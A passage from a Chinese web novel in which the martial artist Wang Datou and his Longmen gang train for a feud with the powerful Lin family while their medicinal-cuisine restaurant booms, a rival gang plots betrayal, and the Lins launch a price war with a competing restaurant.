“千真万确!林耀宗身边那个心腹林魁,亲自去龙门药膳下最后通牒,结果你猜怎么着?被那个王大头像扔垃圾一样,单手就拎起来,直接扔出了店门,摔得那叫一个狼狈!林家这次脸都丢到姥姥家了!”
“丢脸?那只是开始!林家这次是动了真火了!据说已经不再满足于商业手段和小打小闹,正在紧急调集家族内部真正的古武力量!那可不是黑蛇会那种街头混混能比的,是要见血、要人命的!准备彻底将龙门从这个世界上抹掉!”
“啧啧,龙门这帮人也是真的硬啊,愣是敢跟林家硬顶到这一步…不过,鸡蛋碰石头,再硬又能硬多久?我看啊,悬喽……”
风声鹤唳,草木皆兵。整个地下世界,都因为林家与龙门这看似不对等的碰撞,而陷入了一种诡异的寂静与观望之中,仿佛暴风雨来临前,所有生灵都本能地蜷缩起了身体。
在这种如同实质般沉重的外部压力下,龙门内部的气氛,自然也绷紧到了极致。顶楼那间原本略显简陋空旷的出租屋,如今已然成为了龙门核心成员临时的“战时指挥部”兼封闭式集训地。
客厅中间,原本摆放茶几的位置被清空,阿杰、小斌、铁柱、侯子四人正盘膝而坐,按照赵师傅所传授的法门,刻苦修炼着简化版的《基础吐纳术》。四人皆是满头大汗,脸色因气血运转而涨得通红,身上的廉价T恤早已被汗水浸透,紧紧贴在皮肤上。
阿杰眉头紧锁,嘴唇无声地开合,努力引导着那丝微弱到几乎难以察觉的气感在体内流转,他机灵的眼神此刻充满了专注与挣扎。
小斌则依旧沉默,阴郁的脸上没有任何表情,只是紧闭双眼,鼻翼微微翕动,呼吸的频率远比其他人要缓慢和深沉,似乎在以他自己的方式,更艰难却也更坚定地摸索着门径。
铁柱庞大的身躯坐在地上像一座小山,他憨厚的脸上满是困惑和着急,显然对这种需要细腻感知和意念引导的修炼方式感到极其不适应,时不时偷偷睁开一只眼,瞄向旁边的同伴,然后又赶紧闭上,学着样子努力。
侯子则显得有些浮躁,眼珠在紧闭的眼皮下似乎还在转动,瘦削的身体不时轻微扭动,似乎在寻找更“舒服”的姿势,直到感受到赵师傅偶尔扫过的严厉目光,才赶紧收敛心神,老老实实继续。
在赵师傅近乎苛刻的严格督导,以及王大头偶尔会渡过来一丝精纯内力进行细微引导和刺激下,他们的进展虽然缓慢,但还算顺利。
虽然距离真正产生稳定气感、正式踏入武道门槛还有一段不短的距离,但连日来的苦修,已经让他们的身体素质和精神面貌发生了肉眼可见的改善。
眼神变得更加明亮有神,动作间少了几分以往的虚浮,多了几分沉稳的力量感。
他们每一个人都心知肚明,即将面对的,可能是远超他们过去认知的、如同林家“影刺”那般可怕的敌人,此刻多流一滴汗,多掌握一分力量,在未来那场注定惨烈的风暴中,或许就能多一分活下去的渺茫希望。
而在客厅另一侧相对宽敞的空地上,张猛则如同不知疲倦的机械,正在疯狂地锤炼着王大头传授的八极拳。
他赤着上身,古铜色的皮肤上布满了细密的汗珠,在灯光下闪烁着油亮的光泽,虬结的肌肉随着每一次发力而高高贲起,如同一条条蠕动的钢缆。
他的招式依旧带着明显的野路子痕迹,不如王大头那般圆融精准、蕴含玄奥,但却将八极拳本身“猛、硬、快、脆”的特点发挥到了极致,甚至带上了一种近乎惨烈的搏命气势。
每一拳轰出,都带着清晰的破空之声,仿佛能砸碎顽石;每一脚跺地,都让老旧的楼板发出不堪重负的**。
他体内那丝由王大头帮助引导产生的微弱内力,在这种一次次逼近身体极限的疯狂压榨和锤炼下,似乎也变得比以前活跃了一丝,如同被投入熔炉的粗铁,正在被艰难地淬炼着。
张猛很清楚自己的定位,他是龙门的“战神”,是冲在最前面的尖刀,是兄弟们最坚实的盾牌,他必须变得更强!更强!
赵师傅大多数时间都沉默地坐在角落那张唯一的太师椅上,微阖着双目,手中缓缓盘着那对油光锃亮的文玩核桃,发出规律而令人心静的“沙沙”声,如同定海神针,镇住了这方寸之地的浮躁与不安。
但他的感知却如同无形的蛛网,笼罩着整个客厅,时刻关注着每个人的修炼状态和气血波动。
偶尔,他会抬起眼皮,浑浊却深邃的目光如同利剑,精准地刺破迷雾,开口指点一两句,言语简洁,却往往直指核心,切中要害,让人茅塞顿开,少走许多弯路。
他的存在本身,就给了这些在巨大压力下艰难前行的年轻人,莫大的信心和底气。
而王大头自己,在安排好众人的修炼和药膳店大的方向后,则更多时间独自一人,待在空旷而寂静的天台。
夜色深沉,无星无月,只有城市不灭的霓虹在天边渲染出一片模糊的光晕。
他同样赤着上身,夜风吹拂在他精悍匀称、线条分明的肌肉上,带来一丝凉意。右胸那道被“影刺”乌黑短刺留下的伤口已经结痂,呈现出一种暗红色的、略显狰狞的疤痕,像一道无声诉说着生死搏杀的勋章。
他并未练习任何具体的拳招套路,只是以最标准、最沉凝的姿态,静静地站着混元桩。
体内,那近二十年精纯雄浑的内力,不再如同最初那般只是模糊地存在于经脉之中,而是仿佛化为了实质的、温驯而磅礴的银色江河,在意念的精确引导下,沿着优化后更加复杂高效的周天路线,奔腾不息,循环往复。
经过与黑蛇会混混的实战、尤其是与“影刺”那场游走于生死边缘的残酷搏杀,他的内力在极限压力下得到了前所未有的淬炼与提纯。
再加上【养神丹】对精神力量的滋养和拓展,他感觉自己对内力的掌控,已经达到了一种全新的、精细入微的境界。
内力不再是模糊的力量,而是仿佛能被他清晰地“内视”,如同拥有生命的流水,在意念的驱动下,可刚可柔,可聚可散,如臂指使。
他甚至能隐约感觉到,当内力运行至某些以往难以触及的细微经脉末梢、以及五脏六腑最深处的筋膜网络时,不再仅仅是流淌而过,而是开始尝试着向内缓慢渗透、浸润,滋养着更深层次的肉身结构,并隐隐试图与自身愈发凝练的精神意念,产生某种更深层次、更加玄妙的共鸣与交织。
这是一种玄而又玄、只可意会不可言传的奇妙感觉。
仿佛有一层薄而坚
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韧、无形无质却真实存在的“膜”,阻挡在内力与肉身、精神进行更深层次、更彻底融合的道路上。
王大头有种强烈的预感,一旦积蓄足够的力量,抓住那稍纵即逝的契机,捅破这层看似薄弱、实则坚固的“膜”,他的力量、速度、反应,乃至对自身和外界能量的感知与运用,都将发生一次质的飞跃!
那将不再是单纯的内力勃发于拳脚,而是能够将磅礴力量蕴含于体内每一寸血肉骨骼之中,凝而不发,而在需要时,又能瞬间透体而出,隔空伤人于无形,或者在意念动间,于体表形成强大的无形防御气场!
这,就是赵师傅曾经在指点他时,偶然提及过的,无数武者梦寐以求却终生难以窥其门径的下一境界——暗劲!
他已然清晰地触摸到了那道门槛!
甚至能感受到门槛后面那更加广阔、更加迷人的力量风景。
只差一个契机,或许是一场更加酣畅淋漓、势均力敌的生死战斗,或许是一次电光火石的顿悟,便能鲤鱼跃龙门,挣脱旧有的束缚,踏入一个全新的、更强的境界!
然而,越是接近这个诱人的境界,他通过【初级因果洞察】所模糊感知到的那股来自林家方向的、如同厚重乌云盖顶般沉甸甸的危机感,就越是浓重和清晰。
林家,能够屹立多年,绝不可能只有“影刺”一个高手,下一次来的,无论是谁,其实力都必然在“影刺”之上,甚至可能不止一人!留给他的时间,不多了。
他缓缓收功,体内奔腾的内力江河逐渐平息,归于丹田气海。
他口鼻间悠长吐出的两道凝练白气,如同两支离弦的利箭,在清冷的夜空中笔直射出近两米远,才缓缓扭曲、消散。
他走到天台边缘,双手扶着冰凉的栏杆,俯瞰着脚下那片灯火璀璨、繁华喧嚣,却又在更深层面暗流汹涌、杀机潜伏的庞大城市。
他的目光锐利而沉静,仿佛要穿透这层层迷雾,看清那隐藏在黑暗中的獠牙。
轻微的脚步声自身后传来。赵师傅不知何时也悄然来到了天台,如同鬼魅般无声无息地站在他身边,同样望着远方那被城市光污染掩盖的、深邃无垠的夜空。
夜风更疾了些,吹动着他花白的发丝和那件洗得发白的旧练功服宽大的衣角,猎猎作响。
“感觉到了吗?”赵师傅的声音打破了天台上的寂静,带着一丝与他平日淡然不符的凝重。
王大头没有回头,目光依旧锁定着远方黑暗中某個不可知的方向,点了点头,声音低沉:“嗯。很压抑,像暴风雨来临前,那种令人窒息的、万物死寂的平静。空气里,都带着血腥味。”
赵师傅轻轻叹了口气,手中盘动的那对核桃发出了规律而急促的“沙沙”声,仿佛在应和着他此刻并不平静的心绪。
他望着天际尽头那正在不断汇聚、翻滚、逐渐遮蔽了最后一点星月残光的厚重乌云,那双苍老却依旧清澈深邃的眼眸中,仿佛已经倒映出了即将席卷而来的、铺天盖地的血雨腥风。
他缓缓开口,声音不高,却像沉重的鼓点,一下一下,清晰地、重重地敲在王大头的心上,带着一种不容置疑的紧迫感:
“大头,抓紧最后的时间吧。真正的、足以摧毁一切的暴风雨……就要来了。”
第51章:药膳风靡,日进斗金!
与外界风声鹤唳、暗流涌动,以及龙门内部那根紧绷到极致、全力备战的气氛形成鲜明对比,甚至可以说走向另一个极端的,是“龙门药膳”生意的持续火爆,以及那如同坐火箭般蹿升、堪称**式的增长态势!
仿佛是为了在那场可以预见的、足以摧毁一切的恐怖风暴正式降临之前,尽可能地积蓄更多的金钱资本,增强自身的“造血”能力和抗风险韧性,这间小小的药膳店,在李雅卓越的经营和王大头那“秘方”无可替代的效果加持下,展现出了令人瞠目结舌的恐怖吸金能力。
之前通过精准赠饮、口碑初步发酵所打下的基础,在经历了林家威胁、龙头反杀等事件的某种“反向催化”后,如同被投入了最后一块拼图,彻底引爆了市场!
“神奇”、“有效”、“物超所值”这些词汇,经由那些亲身受益的顾客之口,如同拥有了生命般,自发地、滚雪球式地传播开来,成为了最有效、也最致命的广告。
这股风潮,不再仅仅局限于周边的老街坊和最初的好奇者,而是迅速吸引了来自全市各个角落,乃至周边县市的大量慕名而来的顾客。
更值得注意的是,顾客的构成也发生了显著的变化,其中,不乏一些身份特殊、社会地位颇高、消费能力极强的精英群体。
一位退休多年、曾身居高位、却因早年征战留下严重关节旧伤和风湿的老将军,在几位老部下的推荐下,抱着试试看的心态,连续服用了半个月专门调配的“舒筋活络汤”和“强筋健骨羹”后,困扰他二十余年、每逢阴雨天便痛入骨髓的酸楚僵硬感,竟然得到了前所未有的缓解,甚至能在无人搀扶的情况下,在院子里缓步走上十几分钟!
老人激动不已,不顾家人劝阻,亲自带着随行的警卫员来到店里,紧紧握住王大头的手,眼眶微红地连连称谢,并主动成为了龙门药膳最坚定、也最具分量的“义务宣传员”,在他的圈子里极力推荐。
几位本市的顶级企业家和大型公司的高管,在承受着巨大工作压力、长期处于亚健康状态后,尝试了药膳店推出的“安神补脑汤”和“益气养生粥”,那立竿见影的提神醒脑、缓解深度疲劳、改善睡眠质量的显著效果,让他们惊为天人。
很快,龙门药膳便成为了他们商务宴请、招待重要客户,乃至自身日常保健调理的首选之地。
甚至有人直接找到李雅,开门见山地提出巨额投资或加盟合作的意向,开出的条件极其优厚,但都被李雅以“本店尚处于初创探索阶段,模式尚未完全成熟,暂不考虑资本合作”为由,滴水不漏地婉拒了。
她深知,药膳的核心在于王大头的“秘方”,这是龙门立足的根本,绝不能受制于人。
一些嗅觉敏锐的财经记者、健康栏目编辑和拥有大量粉丝的自媒体达人,也嗅到了这股不同寻常的风潮,纷纷前来探访、体验,并进行报道。
虽然李雅对此保持了高度谨慎的态度,严格控制着宣传的尺度和口径,避免过度神化、引来不必要的麻烦,但诸如“古老药膳焕发新生机”、“传统智慧与现代养生的完美结合”、“神秘配方效果显著,引发高端人群追捧”等相对客观正面的报道和话题,还是在都市白领、养生爱好者、高净值人群等特定圈层中引发了持续的热议和关注。
结果就是,龙门药膳第一家试点店的门口,从清晨天刚蒙蒙亮开始营业,到深夜最后一位客人满意离去,排队等待入场或打包外带的人群长龙几乎从未断过,成为了一道奇特的街景。
店内的预约电话更是彻底被打爆,专职接线的服务员忙得口干舌燥,声音沙哑,预约的排期已经密密麻麻地排到了一周之后。
而店内有眼的几十个座位,更是需要提前数日、甚至一周预定,才能确保在理想的时间段获得一席之地,其火爆程度,堪比最热门的网红餐厅,甚至有过之而无不及。
巨大的客流量,带来了如同汹涌潮水般的惊人现金流!
李雅原本那家风格雅致的咖啡馆,如今已经与旁边新盘下的、专门用于药膳经营的店面完全打通,形成了一个风格统一、功能分区合理的整体空间。
在这片属于她的“战场”上,这位年轻的女孩子展现出了与外表截然不同的、卓越的商业管理才能和雷厉风行的执行力。
在王大头给予的毫无保留的完全信任和充分放权下,她将药膳店的一切事务打理得井井有条,高效运转。
她迅速引入了更先进的会员管理系统和便捷的线上预约小程序,优化了顾客体验;招聘并系统培训了更多的形象良好、服务周到的服务员和手脚麻利、严格遵守流程的后厨辅助人员;建立了极其严格的食材采购、验收、仓储和标准化制作流程,确保每一份出品的药膳都品质稳定、安全卫生。
当然,最核心的、决定药膳神奇效果的“秘方”添加环节,始终由她本人,或
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者王大头绝对信任的张猛、以及经过初步考验的阿杰轮流负责,严格保密,不容丝毫差错。
每天晚上,当最后一位客人离开,店门落锁,喧嚣散去,李雅独自坐在小小的办公室里,对着电脑屏幕盘点当日账目时,那不断滚动攀升、几乎令人眩晕的数字,都让她感到一阵阵强烈的心跳加速,手心因激动而微微出汗。
这不仅仅是金钱的数字,更是她能力被验证、价值被实现的巨大成就感,也是龙门能够继续生存、发展、对抗强敌的坚实保障。
这天晚上,打烊后的药膳店办公室内,灯火通明,只剩下王大头和李雅两人。
空气中还残留着淡淡的、令人心安的药香与食物香气。
李雅坐在电脑前,纤细白皙的手指在计算器上飞快地跳动,发出清脆的按键声,屏幕上密密麻麻的数据表格令人眼花缭乱。
最后,她拿起刚刚打印出来的、还带着打印机余温的简易月度财务报表,脸上洋溢着难以抑制的兴奋和巨大的成就感,快步走到了坐在沙发上闭目养神的王大头面前。
“大头,你看!”
李雅将报表递到他面前,声音因为激动而微微有些颤抖,甚至带上了一丝不易察觉的哽咽,“我们……我们成功了!剔除掉所有成本,包括顶级食材采购、新增的人员工资、店铺租金、水电杂费、以及各项税费等等,我们第一家店,这个月的净利润……初步核算已经稳稳突破三百万了!而且,这还是在我們为了保障品质和服务,主动控制了客流、没有完全放开接待能力的情况下做到的!”
三百万!月净利润!
这还仅仅是一家营业面积不足一百平米、开业时间不长的试点店!
如此恐怖到令人咋舌的盈利能力,足以让任何餐饮界的同行眼红嫉妒到发狂,也让任何所谓的“暴利行业”相形见绌!
王大头睁开眼,接过那张轻飘飘却又仿佛重若千钧的纸张,目光扫过那个被特意加粗标红的惊人数字,眼中也闪过一丝难以掩饰的讶异。
他虽然凭借【淬体灵液】的效果,对药膳生意抱有极大信心,但也确实没预料到,在经过适当稀释和配伍后,其效果在这个世界依然能形成如此降维打击般的优势,并且市场的接受度和追捧热情会高到这种程度。
这充分证明了,对于健康和品质生活的追求,是跨越阶层和圈子的永恒刚需。
“而且,这还只是门店的直接利润!”
第52章:觊觎的目光,黑蛇异动
李雅深吸一口气,努力平复激动的心情,补充道,她的眼眸中闪烁着如同最璀璨星辰般明亮的光芒,那是对自己亲手参与创造奇迹的自豪,也是对龙门未来无限的憧憬与信心。
“我们的预付会员储值消费,以及针对高端客户推出的定制礼品卡销售,这个月的流水也超过了五百万!我们的现金流非常非常健康,充沛到足以应对任何突发状况!”
她走到窗边,唰地一下拉开百叶窗,望着楼下那在夜色中依旧熠熠生辉、吸引着过往行人目光的“龙门药膳”招牌,语气变得前所未有的坚定和充满力量,仿佛一位即将指挥大军开疆拓土的女将军:
“大头,事实已经证明,我们的模式是成功的,是极具市场竞争力和生命力的!照这个趋势发展下去,我们现有的资金储备和已经打磨成熟的运营体系,已经完全足够支撑我们进行快速、稳健的扩张!我已经根据这段时间的市场反馈和数据分析,初步筛选出了三个非常合适开设分店的位置,都在人流密集、消费能力强劲、且与我们品牌定位契合的核心商圈或高端社区附近。”
她猛地转过身,目光灼灼地看向王大头,那份独当一面、精明干练的女强人气场,与她天生温婉柔美的外表形成了极其迷人而强烈的反差,充满了致命的吸引力:
“我认为,时机已经成熟!如果我们现在集中资源,加快筹备进度,那么下个月,最迟下个月底,我们的第二家‘龙门药膳’分店,就一定能够正式开门营业!”
巨额且持续增长的现金流,被市场验证的成功商业模式,高度凝聚的团队士气,以及清晰可行的扩张蓝图……
这一切如同坚实的基石和强劲的引擎,让初创的龙门,即使在面对林家那如同泰山压顶般的巨大威胁和压力时,依旧没有慌乱失措,反而更加沉着冷静,拥有了能够逆风前行、甚至加速奔跑、不断壮大自身的底气与资本!
龙门药膳日进斗金的消息,如同插上了翅膀,不仅在普通顾客和上流圈子中流传,更是在某些特定的、见不得光的阴影角落里,激起了更为复杂和危险的涟漪。
城西,黑蛇会总部那间被修复好的办公室里,烟雾缭绕的气氛比往日更加压抑。老大“蝮蛇”坐在他那张宽大的、铺着劣质虎皮的老板椅上,手指间夹着的雪茄已经燃烧了大半,烟灰长长地耷拉着,他却浑然不觉。
他面前的桌子上,摊开着几张模糊但能看清内容的照片——龙门药膳门口排起的长龙,店内座无虚席的热闹景象,甚至还有一张远远拍摄的、李雅在柜台后笑容明媚接待贵客的场景。另一份则是手下费尽心机打探来的、关于药膳店流水和利润的粗略估算报告。那上面一个个零,像是一根根烧红的针,刺得蝮蛇眼睛生疼,心头如同被毒蛇啃噬。
“一个月……几百万的利润……”蝮蛇从牙缝里挤出这几个字,声音沙哑,充满了难以言喻的嫉妒、不甘和一股被压抑的邪火。他猛地吸了一口雪茄,却被呛得剧烈咳嗽起来,脸上那道狰狞的黑蛇纹身随着肌肉扭曲,更显可怖。
想他蝮蛇,在城西这一亩三分地拼杀了十几年,刀口舔血,欺行霸市,收保护费,搞点灰色产业,一年到头担惊受怕,也就勉强混个温饱,攒下点家底。可龙门呢?那个几个月前还是个送外卖的穷小子,靠着不知道从哪里弄来的狗屁秘方,开个店,就能轻轻松松月入数百万!这他妈凭什么?!
更让他憋屈的是,自己现在名义上还得向这个昔日的穷小子低头,尊称一声“龙头”,像个孙子一样听候差遣,帮他搜集情报,还要上交五成的“供奉”!每次看到张猛那小子来接收情报时那副居高临下的眼神,他都恨不得掏出枪来把他崩了!
“老大,”一个心腹小心翼翼地开口,他是蝮蛇的智囊,外号“师爷”,身材干瘦,眼神闪烁,“龙门这钱赚得也太容易了……而且,我听说他们准备开分店了,这势头,是要把我们远远甩在后面啊。”
“废话!老子不知道吗?”蝮蛇烦躁地将雪茄摁灭在烟灰缸里,火星四溅,“可现在能怎么办?那个王大头就是个怪物!连林家派来的**都栽在他手里了!我们这点人,够他塞牙缝吗?”
“明着来自然不行。”师爷阴恻恻地一笑,凑近了些,压低声音,“但是老大,您别忘了,龙门现在最大的敌人,可不是
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我们,是林家!”
蝮蛇眼神一动:“你的意思是?”
“林家现在对龙门是恨之入骨,必欲除之而后快。”师爷分析道,“但我们黑蛇会,在林家眼里,不过是条可有可无的野狗。之前我们配合他们断供,结果他们转头就把我们卖了,屁好处没捞着,还折了兄弟。这说明什么?说明林家根本靠不住,也根本没把我们放在眼里!”
“那又能怎样?”蝮蛇皱眉。
“我们不能明着反抗龙门,但可以……借力打力。”师爷眼中闪着算计的光芒,“我们可以秘密接触林家,向他们示好,提供一些关于龙门的、无足轻重但又能取信于他们的‘内部’消息,表达我们‘身在曹营心在汉’的‘诚意’。同时,也要让林家知道,龙门药膳这块肥肉,我们黑蛇会也有兴趣分一杯羹……”
蝮蛇不是蠢人,立刻明白了师爷的意图:“你是说,怂恿林家加大对龙门的打击力度,最好让他们斗个两败俱伤?我们坐山观虎斗,等他们拼得差不多了,再出来收拾残局?到时候,龙门的秘方、产业,说不定……”
一个更加大胆而贪婪的念头在他心中滋生。凭什么他只能喝点残羹剩饭?如果操作得当,或许……他蝮蛇也能成为那药膳生意的主人?至少,能分到远比现在多得多利益!
这个念头如同野火般在他心中蔓延,瞬间烧毁了他对王大头那点可怜的畏惧。
“风险很大啊……”蝮蛇舔了舔有些干裂的嘴唇,眼神变幻不定,“万一被王大头发现……”
“富贵险中求啊,老大!”师爷蛊惑道,“我们做得隐秘些,传递一些真假参半、无关核心的情报,比如龙门最近的人员调动,药膳店的大致安保情况(隐瞒张猛等人的真实实力),甚至……可以‘无意中’透露王大头似乎受了点伤(影刺造成的伤势)正在静养的消息,给林家一种可以趁机下手的错觉。只要他们打起来,我们的机会就来了!”
沉默良久,贪婪和野心最终压倒了恐惧。蝮蛇猛地一拍桌子,下定了决心。
“妈的!干了!师爷,这件事交给你去办,一定要隐秘!找最可靠的渠道,联系林耀宗那边的人!”
第53章:林家的经济战!
“明白!”师爷躬身应道,脸上露出得意的笑容。
几天后,一次极其隐秘的会面,在郊区一家不起眼的茶社包厢内进行。黑蛇会的师爷,与一位自称是林家外事管事助手的神秘男子见了面。双方都戴着口罩,言语间充满了试探与算计。
师爷“诚恳”地表达了黑蛇会对林家的“仰慕”以及对龙门“忘恩负义”(指吞并黑蛇会)的“愤慨”,并“无意中”透露了几条经过筛选的、关于龙门近期动态的消息,其中重点强调了“王大头疑似受伤,深居简出”这一条。
林家代表不动声色地听着,偶尔问一两个关键问题,最后收下了师爷奉上的一个装着“心意”的厚实信封,留下一句“林管事会知道你们的‘诚意’”,便先行离开了。
消息很快传回黑蛇会总部。
蝮蛇听完师爷的汇报,挥退了其他手下,只留下师爷一人。他走到窗边,看着外面灰蒙蒙的天空,脸上露出一丝混合着紧张、兴奋和残忍的复杂表情。
他抚摸着自己脖子上那道黑蛇纹身,仿佛在汲取力量,声音压得极低,如同毒蛇吐信,充满了阴冷的算计:
“等着吧……等龙门和林家这两头猛虎斗得两败俱伤,筋疲力尽的时候……”
“就是我们黑蛇,翻身做主人,吞噬一切的时候!”
他仿佛已经看到了自己坐收渔翁之利,掌控那神奇药膳秘方,财富与权力尽在手中的美好未来。
林家,那座如同蛰伏巨兽般的别墅书房内。
林耀宗穿着一身丝质睡袍,站在巨大的落地窗前,手中端着一杯红酒,轻轻摇晃。
他听着身后一名黑衣手下关于黑蛇会秘密接触的汇报,脸上没有任何表情,只有眼神深处掠过一丝冰冷的讥诮。
“跳梁小丑。”他淡淡地评价了四个字,语气中充满了对黑蛇会这种底层蝼蚁的不屑。“不过,他们提供的消息,倒是印证了我们的一些猜测。那个王大头,确实比我们预想的更难缠,影刺的失踪,恐怕真的与他有关,而且他自身也并非毫发无伤。”
他抿了一口红酒,目光投向窗外远方的城市轮廓。“暴力手段,一次失败,短期内不宜再用。官方层面的压力,也需要更合适的时机和借口。既然他王大头想靠着那点药膳生意站稳脚跟,那我们就陪他玩玩商业的游戏。”
他转身,看向垂手侍立在一旁、神色恭敬的助理:“我们林氏集团旗下,是不是有一家主营高端保健品和餐饮的子公司在亏损?”
“是的,三爷(林耀宗在家族中排行第三)。”助理连忙回答,“‘康年生物’旗下的‘颐养斋’,定位高端养生餐饮,但一直叫好不叫座,亏损严重。”
“正好。”林耀宗嘴角勾起一抹冷酷的笑容,“把‘颐养斋’的品牌和团队整合一下,集中集团最好的资源,给我在最短的时间内,推出一款……不,一个系列的‘林氏药膳’!”
助理一愣:“三爷,您的意思是?”
“王大头不是靠着不知从哪儿弄来的药膳方子风生水起吗?”林耀宗走到书桌前,放下酒杯,手指点着桌面,“那我们就用绝对的实力告诉他,什么叫做真正的商业运作!他不是要在城东核心商圈开分店吗?去,把他看中的那个店面正对面的整栋楼,给我盘下来!装修要最高标准,规模要最大!我要让他的龙门药膳分店,开业第一天,就直面我们林氏药膳的碾压!”
他眼中闪烁着资本巨鳄的冰冷光芒:“用三倍,不,五倍的薪水,去挖他们最好的厨师和服务员!联系所有与我们林家有关联的媒体和渠道,全方位宣传我们的‘林氏药膳’,强调我们林家的百年信誉和科研实力!价格?初期给我按成本价,甚至亏本销售!我要用钱,活活砸死他!”
这就是林家的手段!不动用一兵一卒,而是利用其庞大的资本、深厚的商业人脉和强大的品牌效应,发动一场堂堂正正,却又残酷无比的经济绞杀!他要让龙门药膳刚刚燃起的希望之火,在资本的冰雹下彻底熄灭!
“是!三
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爷!我立刻去办!”
助理感受到林耀宗话语中的决绝与寒意,不敢怠慢,连忙躬身领命而去。
林耀宗重新端起酒杯,走到窗前,看着玻璃上自己模糊的倒影,冷冷一笑。
“王大头,你以为有点蛮力,有个偏方,就能撼动我林家?我会让你知道,在这个世界上,有些规则,是你们这些底层爬上来的人,永远无法打破的。”
……
林家的行动力是惊人的。
就在龙门药膳紧锣密鼓地筹备第一家分店,李雅刚刚与城东核心商圈一处位置极佳的店面达成初步意向,正准备第二天去签订正式合同时——
一个噩耗传来。
那个店面的业主,在签约前最后一刻,突然反悔了!无论李雅如何提高租金,对方都支支吾吾,最后才隐晦地透露,是“上面”有人打了招呼,他得罪不起。
紧接着,更坏的消息接踵而至。
就在那家他们心仪店面正对面,一栋原本经营不善、即将整体转让的五层商业楼,一夜之间被一个神秘资本全款收购!
巨大的装修围挡迅速立起,上面赫然印着烫金的大字——“林氏药膳全球旗舰店,即将盛大开业!”
与此同时,龙门药膳内部也开始出现不稳的迹象。
一位负责汤品熬制、掌握了部分非核心工艺的老师傅,突然提出辞职,无论李雅如何挽留,去意已决。
很快有消息证实,他被重金挖走,去的地方,正是对面那家还在装修的“林氏药膳”!
市面上开始出现一些针对“龙门药膳”的负面流言,诸如“效果夸大”、“原料来源不明”、“卫生状况堪忧”等等,虽然暂时没有掀起太大风浪,但如同蚊蝇般令人厌烦。
李雅拿着刚刚收到的、对面“林氏药膳”提前流出的宣传单,上面赫然写着“开业前三天,全场药膳一折体验!
由国宝级中医泰斗与营养学专家联合研发,林家百年信誉保障!”她的手指因为用力而微微发白,脸色凝重。
第54章:经典之争!龙门VS林氏
“他们这是……要和我们打对台,而且是不惜成本,要把我们直接按死在起步阶段!”李雅的声音带着一丝不易察觉的颤抖,她深知林家这等庞然大物在商业上所能调动的资源是何等恐怖。
王大头接过那张制作精良、充满了高端奢华感的宣传单,看着上面刺眼的“林氏”二字,眼神冰冷。
他通过【初级因果洞察】,能清晰地感受到一股更加庞大、更加系统的恶意,如同无形的巨网,正从商业层面向龙门笼罩而来。
这不再是街头混混的打砸,也不是**的偷袭,而是一场更加文明,却也更加残酷的战争。
他抬起头,目光仿佛穿透了墙壁,看到了对面那热火朝天的装修工地,看到了林家那高高在上、试图以资本和权势碾碎一切的身影。
城东核心商圈,原本平静的街道,因为两家药膳店的隔街对垒,骤然变得热闹非凡,空气中都弥漫着无形的硝烟味。
街道一侧,是已经装修完毕、古朴雅致、透着沉稳底蕴的“龙门药膳”第一家分店。
店面不算特别大,但细节处处用心,牌匾上的字是请老书法家题写,苍劲有力。
门口站着穿着统一改良中式制服、精神抖擞的服务员,笑容温和,训练有素。一切都显得井然有序,充满了内敛的自信。
而街道正对面,则是气势恢宏、如同庞然大物般的“林氏药膳全球旗舰店”!
整整五层楼,全部打通,外立面采用昂贵的玻璃幕墙和金属构件,装修极尽奢华,金光闪闪的招牌在阳光下几乎晃瞎人眼。
门口铺设着红地毯,两侧摆放着巨大的花篮,穿着旗袍、身材高挑的迎宾小姐面带标准微笑,阵容庞大。
巨大的电子屏幕上,滚动播放着精心制作的宣传片,强调“林氏百年信誉”、“国宝级专家团队”、“尖端生物科技萃取”等字眼。
开业当天,林氏药膳更是将财大气粗展现得淋漓尽致!
锣鼓喧天,舞龙舞狮,请来了当红的明星站台剪彩,吸引了无数媒体和围观群众。最关键的是,他们打出了“开业庆典,连续七天,全场药膳一折体验!办理会员卡即赠千元消费券!”的疯狂促销活动!
一折!几乎是白送!
这对于很多原本就对药膳好奇,但又碍于龙门药膳不菲价格和排队难而犹豫的顾客来说,有着致命的吸引力!
一时间,林氏药膳门口人山人海,排队的人群从店门口一直蜿蜒到街尾,甚至堵塞了交通。
反观对面的龙门药膳分店,虽然也有不少忠实顾客前来捧场,但相比之下,显得冷清了许多。
“我靠!这也太欺负人了!”
张猛站在龙门药膳二楼的办公室窗户边,看着对面那黑压压的人群和喧嚣的场面,气得额头青筋暴起,一拳砸在窗框上,发出“咚”的一声闷响。
“一折!他们这是赔本赚吆喝,明摆着就是要用钱砸死我们!还有那些宣传,什么狗屁‘国宝级专家’,‘生物科技’,吹得天花乱坠!他们懂个屁的药膳!”
王大头坐在沙发上,神色平静地泡着茶,仿佛外面的喧嚣与他无关。他给气得像只炸毛狮子般的张猛倒了一杯:“猛子,稍安勿躁。喝茶,降降火。”
“我喝不下去!”张猛烦躁地抓了抓头发,“大头,你看看!我们好多老顾客都被他们拉过去了!这样下去,咱们这分店还没正式起步,就要被他们按**!我们不能就这么干看着啊!要不我们也降价?或者搞点更大的促销活动?”
李雅坐在办公桌后,看着电脑上实时显示的客流对比数据,秀眉微蹙,但眼神依旧冷静。
她摇了摇头:“不能降价。第一,我们成本在那里,降价意味着亏损,我们耗不过林家。第二,盲目跟风降价,会拉低我们品牌的格调,让顾客觉得我们的产品不值那个价。第三,也是最关键的——我们真正的核心优势,不是价格,是效果。”
她抬起头,看向王大头,眼神中带着询问:“大头,你的意思是?”
王大头吹了吹茶杯上的热气,轻轻呷了一口,目光深邃:“小雅说得对。林家可以用资本造势,可以用低价吸引眼球,甚至可以挖走我们的人,模仿我们的形制。但是,有一点,他们永远模仿不了
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他放下茶杯,站起身,也走到窗边,与张猛并肩而立,看着对面那看似风光无限的林氏药膳。
“那就是我们药膳真正的‘魂’——那独一无二、无法复制的效果。”王大头的语气带着绝对的自信,“顾客或许会因为低价和热闹一时被吸引过去,但他们的身体,会做出最真实的选择。”
他转头看向张猛和李雅,眼神坚定:“传我的话下去,龙门药膳,无论总店还是分店,一切照旧。品质,绝不能因为竞争而有丝毫下降!甚至,在服务细节和顾客体验上,要做得更好!我们要沉住气,稳住阵脚。”
接下来的几天,情况似乎正如张猛所担忧的那样。
林氏药膳凭借疯狂的低价和铺天盖地的宣传,吸引了海量的顾客。
店里天天爆满,门口永远排着长队,各种社交媒体上充斥着打卡和“体验报告”,虽然大多是夸赞环境奢华、服务周到、价格实惠,但对于效果的描述,却大多语焉不详,或者只是泛泛的“味道不错”、“感觉挺滋补”。
而龙门药膳这边,生意受到了明显的冲击。
